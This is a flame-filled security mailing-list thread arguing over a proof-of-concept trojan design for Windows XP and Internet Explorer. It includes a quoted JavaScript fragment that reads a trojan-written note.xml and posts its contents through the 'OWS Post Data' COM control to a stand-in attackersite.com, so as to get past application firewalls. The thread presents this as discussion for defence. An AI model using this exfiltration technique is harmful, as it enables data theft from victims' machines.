Basically Gaurav,
we should tell a moron that he is a moron.
By the look and feel of his website anyone can tell how mature he is, leave
the content alone.
Otherwise known as tr0y claims many things which we know are have no true
existance.
His resume is full of shit, lolz "Key-loggers with back-doors"....tell me if
i am wrong, basically u do not understand what a backdoor is.

All I have to say is that we should cut the crap. I just thought of a
possible attack scenario which I proved using a PoC and posted to this
mailing list for discussion and constructive feedback which can help
in developing more secure applications.

All I got from debasis is "PISS OFF, LAME, KID, MORON". He asked me to
do more research before posting anything. I proved I was right using a
screenshot. Looks like it has hurted his ego.

I might be kid enough not to understand the purpose of this list but I
am mature enough to understand flaming is NOT the purpose.

So I would rather like to suggest we should stop this thread.

Thank you all.
Gaurav.

The _real_ thing is that I proved the point.
U told win xp will give access denied error. I proved u wrong with

the

proof attached.
U told above technique wont work...i proved u wrong.
Tell me one thing, a Windows XP + Offfice XP + Internet explorer
combination so rare ?

Is that all making ur ego shattered?

...and u are no one to decide what should one disuss on this list.

regards,
gaurav

I don't have to !! I can still remember your priceless statements
[1] + [2]
-

[1] A Trojan has been to be placed in a system running an
application [1] firewall like Zone Alarm Pro etc.

[2] The target system must be having office XP and the user has to
be [2] lured to view a webpage hosted by attacker.


ROFL !! May be you could just ask your l33t victim to send you his
passwords and other info by email :P Don't forget to send him your
l33t email ID - '@ securebox.org'



[3] Moreover, u need not know if the target system is running

ZA

or

not...

[3] "the technique works even if firewall is not installed".



[4] I am discussing a possible 'design' of a trojan here,

"doesnt

matter

is ZA

[4] or any other FW is running on client".


Looking at statement [3] & [4], (especially the statement within
double
quotes) just made me believe that you don't know what your are
talking about unless you want to look like an idiot.



really? ever heard of IE exploits?


Priceless !!



Well..Exactly! i would suggest u read the 'assumptions' first,
its an assumption that user will click yes to warning...like

most

'normal'

users do.

Yet another priceless statement... Maybe you could just ask your
l33t victim to click 'yes' to your l33t piece of code trying to
download some l33t piece of shit which will fail to run and die

like

an

idiot.



I am sure you have enough l33t skills to strick back to keep your
ego up2date however, I wud rather suggest if you have only your
stupidity to share then feel free to take it offline and don't

piss

off everyone in this list. I would welcome you if you really want

to

strike back with some _serious_ technical stuff. (Note: make a

note

of _serious_ in the statement)

Assumptions:

Lol !! In a practical scenario, the attacker who spreads the
worm/trojans himself is not aware in the initial stage which are
the infected machines unless the trojan sends back the
machine/user info back to the attacker. Now as you have already
mentioned ZA is running then no data can be sent back to the
attacker. So the attacker is clueless

which are those infected machines.

Looks like u need to read again what i wrote. I didnt use the word

'spread'.

Moreover, u need not know if the target system is running ZA or
not...the technique works even if firewall is not installed. I am
discussing a possible 'design' of a trojan here, doesnt matter is

ZA

or any other FW is running on client.


So the case of luring the user to visit the link is out of

scope...


really? ever heard of IE exploits?




The site can have following HTML code-


Now coming back to technical stuff, You are trying to access a
local file which will only be allowed if the site is in "Trusted
Sites" or "Local Intranet" or "Local Security Zone" and activex

not

marked safe.

The fact that *the client is also the server* is irrelevant.

Try uploading the script to some webserver and give a html
extention; it will throw an _access denied_ error when the page
loads (even on Win XP + SP1).

In case of any server side extention like *.asp, *.jsp etc, the
user will be prompted that an malicious component is trying to
load and ask for user permission.

xmlObj=xmlDoc.documentElement;
var a= xmlObj.firstChild.text;
exp.Post(0,"

http://www.attackersite.com/input.asp",a);

</script>
</body>
</html>




The above code (works well on windows XP SP2) essentials

calls

"OWS Post Data" COM control to post the contents of note.xml
(generated by trojan) to attackersite.com


IMHO, never conduct such tests in a "Intranet Zone" or "Local

Zone"

and draw conclusion about "Internet Security Zone".

You may also link to know about this issue -
http://support.microsoft.com/kb/317244/EN-US/



Essentially, the technique is breaking the basic

functionality

of application firewalls by using OWS Post Data as bridge

for

sending out the data using Javascript and XML.


Not Exactly !! I wud rather suggest you to do a little more
research and draw any conclusion. Keep those _Security Zones_ in
mind before you post anything...


Well..Exactly! i would suggest u read the 'assumptions' first, its
an assumption that user will click yes to warning...like most

'normal'

users do.
